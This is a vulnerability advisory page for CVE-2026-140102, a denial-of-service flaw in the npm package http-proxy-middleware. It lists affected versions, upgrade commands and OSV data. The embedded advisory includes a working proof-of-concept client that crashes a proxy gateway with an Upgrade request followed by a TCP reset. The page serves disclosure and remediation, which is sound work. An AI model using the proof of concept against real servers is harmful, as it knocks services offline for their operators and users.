CVE-2026-140102: http-proxy-middleware Unauthenticated Remote Gateway Crash Vulnerability
HIGHCVE-2026-140102 is a HIGH (CVSS 7.5) unauthenticated remote gateway crash vulnerability (CWE-248: Uncaught Exception) affecting http-proxy-middleware libraries in the npm ecosystem. The issue involves unauthenticated remote gateway crash via an `upgrade` request to a path outside `pathfilter` followed by a tcp rst (ws: true). Remediation is available by upgrading affected packages to version 2.0.12, 3.0.11, 4.2.2.
CVE-2026-140102 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-140102
To remediate this vulnerability, upgrade all affected http-proxy-middleware dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install http-proxy-middleware@2.0.12
npm install http-proxy-middleware@3.0.11
npm install http-proxy-middleware@4.2.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls http-proxy-middleware
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140102, inspect your project dependencies using npm:
npm ls http-proxy-middleware
Analyze the terminal output to locate any version of http-proxy-middleware in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.12), your application is affected.
Note: The npm ls http-proxy-middleware command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In http-proxy-middleware, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140102 Affected http-proxy-middleware Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
http-proxy-middleware
|
npm |
≥ 0.8.0
< 2.0.12
|
2.0.12
|
|
http-proxy-middleware
|
npm |
≥ 3.0.0-beta.0
< 3.0.11
|
3.0.11
|
|
http-proxy-middleware
|
npm |
≥ 4.0.0-beta.0
< 4.2.2
|
4.2.2
|
References
Frequently Asked Questions
What is CVE-2026-140102?
Which http-proxy-middleware versions are affected?
What version fixes CVE-2026-140102?
Is http-proxy-middleware affected?
What is the CVSS score of CVE-2026-140102?
What CWE is associated with CVE-2026-140102?
How can I check npm dependencies for CVE-2026-140102?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hvp5-3mrg-q5hg",
"modified" : "2026-12-01T18:41:09Z",
"published" : "2026-12-01T18:41:09Z",
"aliases" : [ "CVE-2026-140102" ],
"summary" : "http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)",
"details" : "### Proof of concept\n\n1. run `gateway.js`\n```js\nimport http from \"http\";\nimport { createProxyMiddleware } from \"http-proxy-middleware\";\n\nconst neverTrigger = () => console.log(\"neverTrigger\");\n\nconst proxy = createProxyMiddleware({\n target: \"http://example.com\",\n pathFilter: \"/ws\",\n ws: true,\n on: { error: neverTrigger }\n});\nconst server = http.createServer((req, res) => proxy(\n req,\n res,\n () => res.writeHead(404).end()\n));\nserver.on(\"upgrade\", proxy.upgrade);\nserver.on(\"error\", neverTrigger);\nserver.on(\"clientError\", neverTrigger);\nserver.listen(5056, \"127.0.0.1\");\n```\n2. run `client.js`\n```js\nimport net from \"net\";\n\nconst socket = net.connect(5056, \"127.0.0.1\", () => {\n socket.write(\"GET / HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nConnection: Upgrade\\r\\nUpgrade: websocket\\r\\n\\r\\n\");\n setTimeout(() => socket.resetAndDestroy(), 100);\n});\n```\n3. gateway process crash\n```\nnode:events:505\n throw er; // Unhandled 'error' event\n ^\n\nError: read ECONNRESET\n at TCP.onStreamRead (node:internal/stream_base_commons:221:20)\nEmitted 'error' event on Socket instance at:\n at emitErrorNT (node:internal/streams/destroy:170:8)\n at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {\n errno: -54,\n code: 'ECONNRESET',\n syscall: 'read'\n}\n\nNode.js v24.22.3\n```\n\n### Impact\n\nA remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even when `on.error` and the server's `error` and `clientError` events are all handled.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.8.0"
}, {
"fixed" : "2.0.12"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0-beta.0"
}, {
"fixed" : "3.0.11"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0-beta.0"
}, {
"fixed" : "4.2.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-hvp5-3mrg-q5hg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140102"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/pull/1328"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/pull/1329"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/pull/1330"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/commit/386bed662facba30c5602ca211a5399f09cdd715"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/commit/6911b4daefaa138767d4e4c35302b6dea2e2b64a"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/commit/c82e123f831bae1f46d1d06d9c035e385771b7b9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/chimurai/http-proxy-middleware"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.12"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.11"
}, {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.2.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-248" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-01T18:41:09Z",
"nvd_published_at" : "2026-11-30T23:17:24Z"
}
}